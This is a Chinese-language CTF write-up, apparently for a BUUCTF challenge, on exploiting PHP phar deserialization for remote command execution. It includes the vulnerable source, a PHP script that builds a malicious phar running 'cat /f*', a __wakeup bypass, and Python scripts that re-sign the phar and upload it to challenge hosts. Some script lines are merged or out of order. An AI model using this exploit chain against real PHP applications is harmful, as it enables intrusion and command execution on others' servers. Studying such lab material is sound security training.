進入後是一個檔案上傳但是這裡並沒有漏洞點
看cookie
得到原始碼
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨
先找利用點
system($this->eating);
這一題很明顯沒有serialize、unserialize
但是我們又要利用反序列化
很明顯這一題是phar的反序列化
我們要注意
利用file_exists($Adam);反序列化時我們要繞過__wakeup()
先進行生成.phar檔案
<?php
class story{
public $eating = 'cat /f*'; //賦值要執行的命令
public $God='true'; //滿足if條件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //設定stub
$o = new story();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("a.txt", "666"); //新增要壓縮的檔案
$phar->stopBuffering();
接下來我們修改序列化內容的屬性數值以此來繞過__wakeup()
如果你用010開啟不是這個效果
這個地方改為十六進位制即可
改完屬性值我們的檔案簽名就廢了
需要重新簽名
演算法
Phar 檔案的簽名演算法有幾種可選的型別,每種型別都有不同的安全特性和應用場景。你可以根據具體需求選擇合適的簽名演算法。Phar 提供的簽名演算法包括:
Phar::MD5: 基本的雜湊演算法,不推薦用於安全敏感的應用,因為 MD5 已被證明不夠安全。
Phar::SHA1: 較 MD5 更安全的雜湊演算法,但在高安全性需求的場景中也已不再推薦使用。
Phar::SHA256: 更加安全的雜湊演算法,適合大多數應用場景。
Phar::SHA512: 高安全性的雜湊演算法,適合需要最高安全性的場景。
Phar::OPENSSL: 使用 OpenSSL 庫進行簽名,支援多種加密演算法,可以提供最高的安全性,但需要額外的配置和依賴。
url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'
pattern = r'flag{.+?}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}
with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag{.+?}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替換為題目靶機地址params={
'pear':'1.phar',
'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
os.remove('newtest.phar')
指令碼來源
[1](https://blog.csdn.net/m0_73512445/article/details/133694293 "1")
[2](https://blog.csdn.net/2301_76690905/article/details/134315263 "2")